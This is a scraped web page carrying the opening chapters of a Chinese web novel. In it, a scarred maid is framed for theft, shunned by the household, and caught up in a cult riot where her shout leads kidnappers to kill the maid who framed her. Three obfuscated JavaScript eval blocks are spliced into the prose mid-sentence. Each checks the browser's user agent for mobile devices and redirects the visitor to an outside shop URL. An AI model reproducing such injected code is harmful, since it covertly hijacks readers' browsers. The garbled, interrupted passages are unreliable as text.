《郎君另有白月光》 1. 初遇 知慈握着长长的扫帚杆,手心里都是冷汗。 她状似无意,实则悄悄观察。见无人注意,知慈快速从袖中掏出一瓶小小的金疮药,塞到兵器架旁搭着的一件黑色外衫里。 那外衫搭得很随意,但衣衫本身却很干净,能看出外衫主人是位个性洒脱却注重细节的人。 外衫主人是知慈默默喜欢的人,名叫赵晏然。是知慈受雇的东家自上清山上重礼请来的一位武艺精绝的贵客,专门请来指点府上护院的拳脚功夫。 赵晏然不但武艺高超,而且外貌出众,来府上第一天便受到阖府婢女的关注。 知慈也是其中之一,她见到赵晏然以一对十游刃有余击败护院,又随意伸手拉起摔在地上的护院时,被他当时无意间透露出的骄傲神情吸引住了。 知慈是东家雇佣的洒扫婢女,工作范围也包括了府上的演武场,所以工作时常常能见到赵晏然同护院过招。 但知慈从未同赵晏然说过话,因为她心里清楚,自己身份低微,容貌又有天生缺陷,对方不可能瞧得上自己,所以只敢把这份心意埋在心底。 这日,知慈在演武场无意间看见赵晏然练剑时伤到了手臂后不以为然继续练习。她心中一动,回自己住处拿了金疮药后折返演武场。她本想直接给赵晏然送去,但却鼓不起勇气。 踌躇片刻后,趁着无人注意,知慈悄悄将金疮药放在了赵晏然为方便演武脱下的外衫里。 做完这些,她又向护院方向瞥了一眼,依然无人注意到她。 - 知慈洒扫完演武场,经过侧院的水榭走廊,回廊和岸边零零散散分布着一些下人洒扫。 知慈踏上走廊,经过秋爽身边时,一向不搭理知慈的秋爽喊住她,“沈知慈。” 知慈停住脚步,有些意外。 “你今天好~漂亮哦。”秋爽道。秋爽说“好”字的时候声音拖得很长,听起来有些拿腔拿调。 “谢谢。”知慈答道,等待下文。 秋爽和旁边婢女对视一眼,又问,“你脸上的疤,是天生的吗?” 另一个婢女轻推了一下秋爽的肩膀道,“哪有你这么问的,别吓着人家了。” “我怎么了,问一句都不行。”秋爽笑骂。 二人推搡嬉笑半天,见知慈还等待下文,秋爽又对知慈道,“没事了,你走吧。” 知慈心里有点不舒服,本想开口问她要干嘛,但明白什么都问不出来,于是什么都没说便离开了。 见知慈走远,秋爽道,“我刚才夸她她真信了,你看见了吗。” “看见了,本人也真够丑的,还以为自己是西施呢。” “我一天就和这么一张丑脸交接班,我真的够死了。”秋爽翻了个白眼,“哎,我给你试试我新买的胭脂,是真的好看。” 说罢,她在衫中翻找,翻找半天没找到,“我的胭脂怎么丢了。” 另一婢女问,“你好好想想,肯定是落在哪了。” 秋爽动作一顿,“晌午我负责演武场的打扫,我记得当时我口袋里东西累赘,便把东西放演武场的角落里了。” “那走吧,我陪你去找找。” - 知慈去食堂吃饭,刚刚落座,便见两个人站到了木桌对面。 知慈抬头,便见秋爽带着方才和她在一起的婢女,抱臂皱眉看着她。 “沈知慈,你把我胭脂藏哪了。” 秋爽声音很大,一时间乱哄哄灶屋声音立刻小了许多,人们纷纷看了过来。 知慈完全不知道她在说什么,“什么胭脂?你自己的东西为什么问我?” “还装?我去打扫演武场把东西放在那里,你我交接班,除了你根本不会有人去那里,方才我去寻我的胭脂不见了,除了你还会有谁拿走?”秋爽质问。 “我没拿,我根本都没看见过。”知慈被这突如其来的指责搞蒙了。 周围人渐渐反应过来,他们之中很多都与秋爽认识,便问道,“秋爽,怎么回事啊?” 秋爽变了一副口气,对其他人委屈道,“她把我胭脂偷走了,那东西是我攒了几个月工钱才舍得买的,方才我和她打了个照面,东西就没了,沈知慈那么穷,肯定是她偷的。” 知慈听罢非常生气,秋爽话里句句瞧不起她,明明没证据还先入为主认为自己是小偷,知慈怒道,“不是我偷的。” 周围人只是看着她,他们和秋爽更熟悉,所以也更愿意相信秋爽。和秋爽关系好的婢女帮腔道,“敢做还不敢认。” 另一个看起来敦厚的家丁阻拦道,“别这么说,未必是她做的,”他向知慈询问道,“我看你不像这种人,会不会是秋爽误会了?你有没有什么证据能证明不是你偷的?” 秋爽见有人壮势,胆子也更加大了起来,她冷笑一声,“偷没偷,搜身便知。”说着,她便上前要拽知慈衣襟。 知慈抗拒地挥开她的手,秋爽被推得一个趔趄,但下一刻知慈便被她闺蜜星月抓住胳膊。 秋爽被知慈推搡出了火气,见星月钳制住了知慈,她照着知慈的脸便是一巴掌。 知慈被打得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711719|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏过头,整个人都打蒙了。 “喂喂,秋爽,打人就有点过分了。”一旁看热闹的家丁见秋爽打人,出言阻拦。 秋爽也有些心虚,但见知慈被打懵了,并无还手的意思,她又梗着脖子道,“谁让她偷我东西的!下次再偷,我还打!” 说罢,她招呼她的闺蜜道,“星月,我们走!” 知慈的脸火辣辣的,她无助茫然环视四周,却并无一人帮她说话,大家均瞧热闹似议论着她。 下一刻,知慈的视线同一双乌黑明亮的眼睛对上。 知慈心中一颤。 但对方却不感兴趣移开了眼。 见状,知慈忍了半天的眼泪一瞬间流了下来。她霍然站起身,捏紧颤抖的拳头,低着头快步离开了食堂。 - “喂。” 知慈哭行至无人处,尚未从委屈的情绪中缓和时,一道冷淡的声线唤住了她。 知慈转身,看到对方的面容一瞬,又想起方才他冷淡移开眼的模样。 原来对方正是知慈的暗恋对象,也是方才在灶房与她对上视线的少年。 少年名唤赵晏然,年方十六,身形挺拔瘦削,手臂佩护腕,双脚踩长靴,一身侠客打扮。他面容俊秀,乌发束高,碎发散落额前,红润的唇角抿成一条线,神色冰冷。 知慈红着眼眶,迷茫看着他,想起方才在灶房时他目睹了自己的狼狈,知慈猜不出他的来意。 “你的东西,送错人了。”少年瘦长的手指捏着一个小药瓶,朝知慈示意。 知慈愣住,他手中拿的正是她方才偷塞的金疮药。 所以他看到自己方才的动作,却认为自己给错了人? 知慈本想解释,金疮药就是送给他的。但下一刻,她听见少年冷冷道,“你这样的人,怪不得会被欺负。” 知慈愣住,“我这样的人?” 少年俊秀的面容勾起一个嘲讽的笑,“是啊,都被这样欺负了,还想着给别人送金疮药。依我说,那药留着你自己用才对。” 见赵晏然提起秋爽欺负她一事,知慈瞬间难受,“可我本来就是被冤枉的,我根本没偷她的东西。” “——行了,少啰嗦吧,”少年打断她的话,语气轻蔑,“被人这样欺辱,不想着如何打回去,却忙于向旁人自证解释清白?” 知慈一时哑口无言。半晌方道,“你怎知我什么都不会做。” 赵晏然不感兴趣道,“那是你的事,和我无关。我来只为把金创药还你。”说罢,他转过身,头也不回离去了。 2. 孤立 因为秋爽的指控,知慈被府上的婢女家丁孤立了起来,没人同她说话,手中的活需要别人配合时也无人愿意帮忙。 这日管事要求知慈彻底打扫演武场的卫生,并将于第二日过来检查。 时近傍晚,夕阳斜照,演武场周围只有三三两两的护院还未离开,凑在一起勾肩搭背,时不时爆发一阵大笑。 明日就将检查,管事作风严谨,连最边角的细节卫生也会检查。演武场东北处有几口积灰的大箱子需要移开,但箱子太沉知慈一个女子搬不动。 如果打扫不到位,管事就会扣月俸。知慈望着那几口沉重无比的箱子,鼓起勇气想找护院帮忙。 在场边闲聊的四个护院,见知慈向他们走来,声音渐渐停了下来。 “诸位能帮我一个忙吗。”知慈诚恳开口。 几个青年交换了个眼色,又继续等待知慈的下文,谁也没搭腔。 知慈道,“是这样,那几口箱子我抬不动,实在没法清理,能不能帮忙我抬一下。” 护院们相互对视,沉默片刻,一人道,“你去吧。” 另一人反问,“你怎么不去。” 那人又道,“我不想去。” 第三个护院笑道,“上次大夫人身边的纤纤姑娘来找你帮忙,你可是争着抢着上去要帮忙。” “你放屁!” 几个护院你一言我一语,话题渐渐扯远,把知慈晾在了一边。 知慈等了很久,见自己完全被忽略,心知对方不会帮忙,于是默默转身离开。 “我帮你吧。”瘦高的护院刚才一直没说话,这时突然发声。 其他护院立刻开始起哄,“哎呦,张小功真君子啊。” 名叫张小功的护院没有回嘴,只是示意知慈带路。 知慈非常感激,领着张小功去箱子处。身后其他护院见知慈离开,刻意压低了声音,但知慈还是听得很清楚。 “她到底偷没偷秋爽的东西?” “我觉得偷了,秋爽人不错,不可能骗人。” “我也觉得,你看见她脸上的疤了吗?长得就让我不舒服。” 知慈抿紧唇,唇色发白。 “他们说的,你别往心里去。”身边,张小功突然开口。 “……没事的。”知慈讷讷道。 “平日总能见到你认真工作,不像偷别人东西的人。”张小功道,“倒是秋爽,她平日便热衷搬弄是非,你应是被她污蔑了。” 张小功一番话让知慈心中仿佛有暖流淌过,她眼眶发酸,“谢谢你,真的。” “没事儿,箱子在哪,我帮你搬。”张小功道,“其实护院们都是好人,他们只是相信秋爽的话误会了你,所以你别因为他们态度不好难过。” “我明白。”知慈开口,却没忍住发出一声哽咽。 “你别哭啊,哎呀。”张小功有点手足无措,“快搬吧,等下赵兄弟就过来了。” “赵兄弟?你说赵晏然吗?”知慈擦了一下眼泪,注意力被他的话转移。 张小功点头,“是。赵兄弟每日寅时准时领我们操练,指点功夫。” 提起赵晏然,张小功忍不住多说了两句,“赵兄弟年纪比我们所有护院都小,但武功却比我们加起来还高。”张小功语气中流露出艳羡,“听说他在武学圣地上清山上长大,起点极高,小小年纪便有我们普通人努力一辈子也赶不上的武学造诣。” 知慈感慨,“真是同人不同命。” 张小功叹了口气,“我若有他的好命就好了——上清门徒,路府的座上宾,还有天下无敌的剑术,”他默默无语,半晌如梦初醒,“唉,抱歉,我开始胡说八道了。” 知慈摇摇头,“我理解你的感受。我有个姐姐,漂亮大方,琴棋书画样样精通。而我脸上天生一道长疤毁了容,又没什么才华,所以我也很羡慕她。” 知慈同张小功越聊越投机,期间知慈打扫完卫生死角,他又帮知慈把箱子搬了回去。 告别时,张小功对知慈说,“如果秋爽再找你麻烦,你别怕她,我支持你。” - 与知慈告别后,张小功返回演武场,此时演武场人已散去,令张小功意外的是,他看见赵晏然正在同自家家主路繁叶正在商谈事情。 路繁叶二十五六的年纪,身着锦服头戴玉冠,一派富贵模样。见到张小功,路繁叶唤道,“哎,你,过来。” 张小功依言上前,恭敬低头道,“大少爷。” 路繁叶转头去问赵晏然,“他的功夫怎么样?” 赵晏然瞥了张小功一眼,“护院中的吊车尾水平。” 听赵晏然这样评价,路繁叶皱起了眉。 见自己一向佩服的少年这么看自己,张小功很没面子,“赵兄弟,我的功夫虽然不算上乘,但怎么也排不到吊车尾啊。” 张小功的功夫在路府护院里属于中下。虽不出色,但被赵晏然直接评价为吊车尾,还是让他不服气。 赵晏然道,“上次考核你排倒数第十,不算吊车尾,也大差不差了。” 张小功还欲再辩解,被路繁叶打断。他挥挥手,示意张小功没他的事了。 张小功见家主发话,只得走开。 张小功走开后,路繁叶对赵晏然道,“晏然,我想拜托你件事。” 赵晏然面无表情望着他,等待下文。 近来时局动乱,路繁叶花重金求武林第一门派“上清山”庇佑路府平安,而被上清掌门派下山来保护路府的人便是赵晏然。 离开上清山时,掌门特意对赵晏然训话,让这个桀骜不驯的小弟子事事要听路繁叶差遣。 路繁叶相当佩服赵晏然的实力,诚恳拜托他无事时多多指点路府护院的武艺,并把统领护院的权力都交给了他。所以赵晏然实质上相当于领了路府教头的差事。 眼下,路繁叶诚恳望着赵晏然,说出了自己的请求。 “近来白巾教猖獗,路府需要加强安防,所以我从北方聘请了一批退役的士兵过来。至于府上武艺不精的护院,就没必要花钱养他们了。晏然,你帮我挑出护院里水平最差的十个人,将他们打发出府。” 少年瞥了他一眼,“您怎不让管事来办?” 路繁叶面不改色道,“你功夫高,看人比我准。而且我把权力放给你,由你来选,如此一来一旦真遇到危险,你也能多几个称心如意的几个帮手。” 赵晏然开始时神情还嗤之以鼻,但听闻后半句话,他的神色松动下来。 “行,交给我吧。” - 知慈在演武场的待遇并不是特例,除了张小功,几乎周围所有的家仆,都因为秋爽的指控排斥知慈,即使必须和知慈打交道,态度也总不冷不热暗含嘲讽。 与之相反,秋爽明明是施暴人,却因善于哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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望着秋爽一脸无所谓的态度,又想起这些日子被周围家仆的排挤,知慈心中一阵恶心,“你既然早就找到了,为什么不和大家澄清我没偷你东西?” 秋爽翻了个白眼,道,“我为什么要澄清?我怎么知道你是不是偷完我东西后害怕了,才放回去的?” 说完她把胭脂使劲往面前桌上一拍,“你能把我怎么样?要么你把胭脂拿走吧,正好做实你偷东西的罪名。” 知慈抿唇望着桌上的胭脂,半晌没说话。秋爽见她这样,反而有些忐忑。 就在这时,知慈平静点点头道,“行,不说算了。” 说罢,知慈一语不发,拿起笤帚离开秋爽,回了南屋。 她心想赵晏然说的对,自己是否偷了东西根本不重要,因为秋爽只是想找个由头欺负人。 所以自证清白没用,和秋爽争吵也没用。对付这种人,只有让她真正感到疼了,她才会后悔。 知慈抛却杂念,开始专注本职,认真清扫起了屋子。 然而就在这时,北屋方向的大街上传来嘈杂的喧哗和呼喊。 知慈警觉放下笤帚,随即她听到一墙之隔,突然传来秋爽极为惊恐的尖叫。 3. 借刀杀人 半个时辰前,路府正堂。 路繁叶坐在主座悠闲喝茶。 “茂枝,你又跑到烟花巷胡混了?”他抿了一口茶,开口道。 坐在路繁叶下首的少年身着富贵神情萎靡,不高兴地辩解,“大哥,我都多大了?能不能少管我的事?” 路繁叶最不喜别人挑战他的权威,重重放下茶杯,对弟弟怒道,“你这混账东西,在外面丢我的人,现在还有脸顶嘴?” 兄弟二人眼看要争吵起来,一个下人突然慌慌张张闯入了正厅。 “大少爷,不、不好了!” 路繁叶似有预感,眉头皱起问,“怎么回事?” 那下人声音发抖,低头禀报道,“白巾教又开始在城里闹事了,这次他们把目标打到了咱们府上,一大帮白巾教徒,趁着夜色便往咱们府上来了。” 路繁叶脸色铁青,因为外面已经隐约能听见喧哗声和叫骂声,还有人在大喊白巾教的口号“均贫富,等贵贱”。 相比路繁叶,二少爷路茂枝的反应则直接得多,他惊慌呼唤,“那伙邪教徒来了?!救命,大哥,怎么办啊?!” 随即路茂枝想起大哥请了位上清少侠在府上保护他们,立刻不顾形象大喊,“赵晏然!赵少侠!救命啊!快来保护我!” 路繁叶并未阻止弟弟呼救,他额头渗出冷汗,神情努力保持镇静却掩饰不住焦急。 这时屋外传来少年的冷静的声音,“慌什么?安分在正堂呆着,暴徒伤不了你。其他的交给我。” 路繁叶听见赵晏然胸有成竹的答复如闻天籁,此刻这个比他小十余岁的少年侠客就是他唯一的定心丸。 屋外,家丁向路繁叶汇报时,赵晏然便已知晓府外局势。彼时夜幕降临,几十个白巾教徒特意绕开衙门聚集到路府大门前,路府与辖区内衙门距离很远,城内捕快根本来不及反应。 赵晏然命一个机灵的护院从隐蔽小门绕道去衙门搬救兵,又安排大部分护院在府邸围墙周围戒备,防止白巾教徒爬进府墙。 随后他领着剩余护院来到了路府大门处。路府大门紧闭,护院们手执武器紧张异常。门外传来白巾教徒义愤填膺的呐喊,“均贫富,等贵贱!路繁叶,你这鱼肉百姓的狗官,给我滚出来!” 赵晏然冷笑,“以正义之名,行劫匪之实。” 话音未落,大门发出“咚”的一声巨响,竟是白巾教徒合力抬着木槌打算强行破开大门。 护院们眼看大门马上被破,纷纷想上前顶住。 赵晏然看着护院们动作,突然道,“李护院,把门打开,让他们进来。” 护院们面面相觑,李护院颤声道,“坚持到衙门增援,咱们就得救了,何必开了门自寻死路?” 赵晏然冷静道,“衙门增援需要时间,眼下只守不攻,对方人越来越多,我们只会越来越被动。况且即使这回侥幸等来增援,下次又怎么办?永远被动吗?” 少年环顾众人,继续道,“律法规定入户抢劫者杀之无罪,我们不如直接大门敞开,他们进一个就杀一个,杀到他们再也不敢来招惹为止。” 赵晏然疯狂的想法震撼了众人,有人道,“这……他们人多势众,我们哪里是对手啊?” 赵晏然嗤笑一声,抽出腰间悬挂的长剑,“当小爷我吃干饭的么?你们主子求我下山就是为了这么一天。”少年眸光冷冽神色傲然,大声道,“接下来我怎么杀光这群匪徒,你们都给我瞧好了。” - 门外,白巾教众合力撞击路府正门。 突然,大门没了阻力,砰地被打开。教徒们沸腾了,纷纷叫嚷着,前赴后继要杀尽府中。 “快进啊。”人潮末尾,一个名叫黄义的白巾教徒催促着前面,由于同伴都挤在一起,他看不见前面状况,只知前面的教徒半天都没动弹一点,他被挤得后背仍贴在街对面围墙上。 不知过了多久,前方人潮传了阵阵恐慌的惊呼,许多人开始向外退,一时间挡在他前方的人少了许多,黄义终于得以清楚地看见对面的路府大门。 只见路府大门内,尸体堆积成山。 原来,第一批进门的人被杀后,后面的人继续向里挤,又被杀,倒在了前人的尸体之上。前赴后继,死的人越来越多,直到路府的门槛彻底被尸体堵住,进不去门,人们才觉得不对。 这是黄义出生第一次看见这么多死人。他甚至看见了片刻前还在和他说话的同伴,此刻尸首堆叠在一起,双目无神仰面瞪着天空,鲜血和其他教徒的鲜血混合在一起,蜿蜒流淌下台阶,顺着青石板路的缝隙,一路流淌至黄义的脚下。 黄义头皮发麻,迟钝地抬起头。 没人再敢往里闯,就在此时,尸山颤动一下,引来一阵低声惊呼,不少人下意识向后退了一步。 只见一位身姿挺拔的少年踢开挡事的尸体,跨过门槛缓缓走出,来到众人面前。 少年单手执剑指向地面,血一滴滴自剑尖落下。因为眼睛被碎发遮盖,少年撩起碎发,露出沾满血污的前额,微微下弯的眼尾此刻满是杀意。 “不是想进路府么?来啊。”少年声音带笑,眸中闪着狠戾兴奋的光。 随即他提剑对身旁尸山一削,用剑尖挑起一颗首级,对众人道,“还敢来的,这就是下场。” 首级滑落,掉在地上,发出一声闷响,在场众人雅雀无声。在他们眼中,这姿容俊秀的少年犹如从地狱爬出的恶鬼。 “都不许动,你们这些反贼!”与此同时,官府的捕快终于赶到,在外围将残余的白巾教徒包围。 至此,暴动局面彻底被控制住。 - 骚乱过后,捕快和路府的人开始清点善后。 在场的白巾教徒均被逮捕。而地上横七竖八的尸体,捕快们则需要和路府一一核实。 此事本该路府的大少爷路繁叶交涉,但路繁叶在府内远远看着外面血腥场面,便脸色苍白一句话都说不出。而二少爷路茂枝更是早就躲回后院自己房间,怎么叫也肯不出来。于是善后一事便落到了赵晏然的头上。 赵晏然将护院分成两拨,一拨人由捕快协助,出去确认外派到府外的下人是否平安。其余护院留在府内,清点府内伤亡情况,并协助捕快处理大门口的尸体堆。 很多护院都不想留下来和尸体打交道,但赵晏然经过方才威望高涨,无人敢抱怨。 张小功幸运地被分配到寻找府外家丁的队伍里。队伍将要出发时,张小功见到一个同僚努力去搬尸体,那护院脸色极差,忍了又忍还是没有忍住,哇地吐了出来。 张小功走过去拍他后背,“你没事吧。” 护院脸色惨白,“抱歉,我头回见到这么多死人。” 张小功沉默片刻,道,“要不我去和赵兄弟说咱俩换一下,我来抬尸体,你跟他们去外面吧。” 护院非常感激,“小功,真的多谢你,我也不想……” 张小功摇头,“我明白,没事儿。”随后去找赵晏然。 赵晏然正忙,擦了下脸上的血,挥手让他别来烦自己,“行,换吧。” 那之后一切就绪,外出寻人的队伍正式出发。 - 与此同时,相隔几条街道的路府商铺。 “呀!!” 知慈刚回到南边的商铺,还没扫几下地,便听得隔壁传来秋爽的尖叫声。 知慈瞬间放下笤帚,戒备凝神细听隔壁的声响。 “你们干什么?你们想干什么?!”隔壁传来秋爽惊慌的质问。 “老大,我就说这两条街都是路府的,平日又无人防守,肯定能抓到几个人质。”一尖利的声音道。 “好,来把她绑起来,动作快点,那些捕快和护院很快就会追上,留给我们的时间不多了。”另一凶悍的声音快速道。 原来此人是方才在路府前闹事的白巾教徒之一,他脑子活络,看到其他教徒被赵晏然单方面屠杀时,便知道事情不对,于是连忙招呼与他关系好的几人撤退。因为决策及时,他们成功躲开了衙门的增援,逃出了包围圈。 但他明白大部分同伙被抓住后,他们几人便会目标显眼,即使暂时躲过追查,衙门增加人手后还是会被抓住。因此他们决定去抓几个人质作为筹码,即使被追上也能胁迫人质以逃脱。 北街商铺正在他们逃跑的路线上,而又恰巧秋爽和知慈更换了分配清扫的商铺,阴差阳错之下,她便成为了教徒们的绑架目标。 秋爽从几人对话中也大致猜出发生了什么事,软了语气道,“你们别抓我,求你们了。” 随即,她想到了什么,忙道,“隔壁还有个路府的丫鬟,叫沈知慈,你们去抓她,放了我吧——”随即她的嘴巴被对方堵住,再说不出话来。 “隔壁?”老大呸了一声,“有那绕路抓人的时间,我不如直接去衙门自首。我们走!” 一行人快步离去,屋中安静下来。 知慈明白自己阴差阳错逃过一劫,小心翼翼出了南屋。见周围无人,她快步返回路府。 行过一条街,知慈听前方有喧哗声,灯火通明,知慈的心再次吊起。 知慈躲到角落,见来人都是提着火把的路府家丁和穿着官服的捕快,她悬着的心这才放下,走了出来。 对面的护院们也看见了知慈。打头的护院皱眉问道,“怎么就你一个人?秋爽呢?” 知慈看向说话之人,认出此人姓李,正是前几日知慈寻求帮忙时,拒绝并奚落她的护院之一。 知慈不想理他,也打心底不想管秋爽死活,但她做不出那种故意坑害人命的事,因此还是道,“方才一伙人急急忙忙绑了秋爽,说要拿她做人质,然后逃往西边了。我猜他们想出城。” 众人瞬间明白了这伙人正是残存的白巾教徒。 李护院着急道,“那你怎么回来了?她可是你同伴!” 李护院拽着知慈,知慈使劲挣脱不开,道,“我手无缚鸡之力,追上去除了一起被抓还有什么用?放手。” 李护院死死攥着知慈的手挽,瞪着知慈道,“那他们为什么绑了秋爽不绑你?我告诉你,小爽要是有什么事,我绝不会饶了你。过来领路,我们去追!” 知慈终于甩开李护院的钳制,道,“你别欺人太甚,我怎会知道他们究竟去了哪里?何况秋爽平日怎么对我你们都看在眼里,我才不想管她的事。” 知慈绕开李护院欲走,却又被其他护院挡住了去路,护院们都生得高大,只一个动作便表现出赤裸裸的威胁。 见状,知慈只得不甘心地听话领路。 知慈将他们领至商铺后,便不知白巾教徒的后续去向了。但李护院依然不放过知慈,强迫她继续跟随队伍一同搜查。 一行人搜寻加打探,终于在城外近郊一处民宅发现了异常。民宅附近脚印凌乱,但大门却怎么也敲不开。 李护院高声道,“再不开门我踹了。” 门内终于有人闷声回应,“不要轻举妄动,我手里有你们路府的人质。” 护院们纷纷对视,李护院紧张道,“你想怎样?” 李护院一边与门内教徒周旋,一边使眼色让人去唤尚在别处搜寻的捕快和护院过来支援。 白巾教徒道,“你们退后三十丈,不许靠近这里。然后再谈。” 李护院立刻示意众人退后。 护院们很配合,但协同追查的捕快们却不太情愿。因为他们的目的是抓白巾教残党,抓人的功劳可比救人大得多。 队伍慢慢后退,终于退至三十丈外。与此同时,去搬救兵的家丁回来了。 但令众人意外的是,他搬来的救兵既不是路府的护院,也不是衙门的捕快。而是一行身着锦衣卫服饰的武官,只见对方队伍训练有素,移动迅速且悄无声息。 李护院悄声问队伍领头的玉面青年,“您是?” 搬救兵的护院悄声在李护院耳边道,“这位是锦衣卫指挥使,池无暇池大人。” 李护院没想到此事直接惊动了锦衣卫,刚想作揖却被池无暇拦下,“闲话少说,想做什么继续就好,本官会在合适时将他们拿下。” 随后,池无暇便小声指挥着锦衣卫们四散开来,隐入宅邸四周的高树、旁边院落的屋顶上,在不惊动任何人的情况下,将白巾教徒所在的院落彻底包围,而池无暇本人也寻到合适的藏匿点伺机而动。一时间,这些人就像从未出现过。 李护院勉强收回注意力,重新专注谈判。他大声道,“我们已经退后三十丈了,你到底想怎样,才能放过我们的人。” 片刻沉默后,院中有人大喊,“让我们离开这里,不许跟着,到了青牛观以东我们自然会把她放了。” “好。” “还有,我们需要盘缠,你们身上的钱都拿出来,派一个人进来交给我们。” “好。” 院中人又补充道,“另外,进来送钱的人不许携带武器,必须是小孩或者女人。” 护院们明白了,白巾教徒要消除一切威胁因素。但在场的妇孺只有知慈一人。 李护院目光转向知慈,知慈立刻道,“我不去。” 李护院道,“只有你符合他们的要求。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711721|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>知慈被他理所当然的样子激怒了,“可是我进去了,他们毁约把我也当成人质或者撕票怎么办?” 李护院道,“这是你欠秋爽的,被抓的是她不是你,你欠她一条命。” 知慈气笑了,“我欠她的?真是荒唐!你喜欢秋爽,就可以不顾别人的死活?你凭什么强迫我?” 也许是见他们一直没有回应,就在这时,吱呀一声,院落大门打开了。 院落深处,穷凶极恶的歹徒警觉地瞪视着他们,架着刀紧贴着秋爽的脖子。 秋爽被封住了嘴巴,满脸泪水。因为稍有风吹草动她就会被割喉。 “做好决定了吗?”白巾教徒扬声问。 知慈转头便走,却被其他护院挡住了去路,护院们都生得高大,挡在知慈面前就像一堵墙。 他们只是盯着知慈,没有说话,但知慈立刻明白了他们的态度。 所有人,都要求她冒着被绑架甚至被杀的风险,去拯救秋爽。 知慈只觉透心的凉,这些人,凭什么理所当然认为自己的命不如秋爽有价值?如果被绑架的人换成了自己,恐怕不会有一个人会支持秋爽来救她吧。 “好,”知慈抹了一把眼泪,“我去。” 知慈接过装着碎银的包袱。一步一步朝院落方向走去。 她看不出院落中到底有几人。除了持刀威胁秋爽的悍匪,其他教徒大概都藏在门后视野之外吧。 进入了这扇门,与进入虎穴有何区别?自己承担着生命危险,只为救出一个心怀恶意抹黑自己的人,这么做值得吗? 知慈心中有了答案。 于是在距院门尚有一段距离的地方,她停住了脚步。 见到知慈停下,院中紧盯着知慈的悍匪皱起了眉头,不远处的李护院见状也着急道,“走啊,去啊。” 知慈不动。 所有人都看着知慈。 知慈在原地站定,突然大声道,“院里的匪徒,你们已经被包围了,树上屋顶都是官府的人。你们若识趣,便立刻放了人质束手就擒;否则,别怪我们下手无情!” 此言一出,白巾教徒立即向知慈所说方向看去,四周埋伏的锦衣卫遮掩不及,踪迹完全暴露。 而秋爽闻言,惊恐至极。 秋爽没想到知慈会在此时突然发难,此刻说出这番话,无异于想要自己的命。一瞬间她恐慌而后悔,是因为她把知慈得罪的太狠了吗?早知如此,她就…… 但秋爽再也没有机会弥补错误了。因为下一刻,挟持秋爽的悍匪手起刀落,割断了她的喉管。 白巾教徒明白了对方根本不打算让他们走掉,所谓谈判交易都是安抚他们别杀人质的借口。想通这一点,他明白他们已经没有退路,于是打算冲出院落殊死一搏。 瞬息之间发生如此变故,人质被杀,四周锦衣卫再无潜伏的意义,跃入院里同白巾教徒展开械斗;而院外早已等得不耐烦的捕快们,也纷纷涌入院中。人数和武力的差距,让白巾教徒很快被制服。 知慈方才喊话时,站位距离相对安全。此刻眼见白巾教徒全部被擒,知慈终于放下心来。 但与此同时,李护院目眦尽裂,他恶狠狠向知慈吼道,“你为什么害死秋爽?!” 知慈道,“是你逼我的。我本来就被她陷害过,你还强逼我救她,我凭什么听你的?” 李护院咬牙道,“那你就要杀她吗?你这个杀人犯,等着被判刑吧。” 知慈冷笑道,“秋爽是白巾教徒杀的,我不过说了句话也犯法么?在场人证具在,谁能判我的刑?” 李护院无言以对,上前便欲同知慈动手。 知慈见高壮的汉子大步向自己走来,下意识后退了一步,但随即稳住心绪站定,大声道,“怎么?你想对我动手?” 院内的捕快和锦衣卫们听到知慈的话,不少人目光被吸引了过来。 其他护院们也立刻拉住了李护院,“李哥,你别冲动。” 所有人目光都聚焦于二人身上。 李护院被其他人牵制住,动弹不得,只能狠狠喘着粗气,瞪着知慈。 然而令所有人都没想到的是,下一刻,知慈走至一个护院旁,对方尚未反应过来知慈要做什么,便见知慈抽出他腰间的佩刀。 见知慈手握兵器,李护院瞬间肌肉紧绷,但随即看到知慈反握刀柄伸出手臂,竟将刀柄向他递来。 李护院愤怒又不解地望着知慈。 “你恨我杀她不够光明磊落?那我给你个机会。” 知慈对护院们道,“你们放开他。” 护院们见状,慢慢松开了手。 “想杀我?来吧。” 李护院死死盯着知慈递来的刀柄。 他和知慈体格悬殊,杀死知慈易如反掌。 但是——李护院朝捕快们的方向快速瞥了一眼,捕快手中的镣铐泛着精光。 众目睽睽下杀人,意味自己也会被判死刑。 知慈给他递刀,传递的信息再清楚不过:杀了她,他也得死,他敢吗? 李护院的确不敢。他再浑也只是个赚月俸的护院,不是亡命徒,也从没想去搭上自己给秋爽报仇。 可是众目睽睽,自己如果不敢接,那在护院之中便失了威信。 李护院额头流下冷汗。 一开始,他的本意只是觉得知慈好拿捏,料想自己唬住她,她绝对不敢反抗;却没想到知慈一番操作后,竟架住了自己,让自己下不来台。 知慈盯着李护院,反握刀柄的手因太过用力,指尖泛白。 她受够这了一切,她借刀杀人结果秋爽,又将刀递给李护院,就是传达出一个讯息:他就是个孬种,她才不怕他。 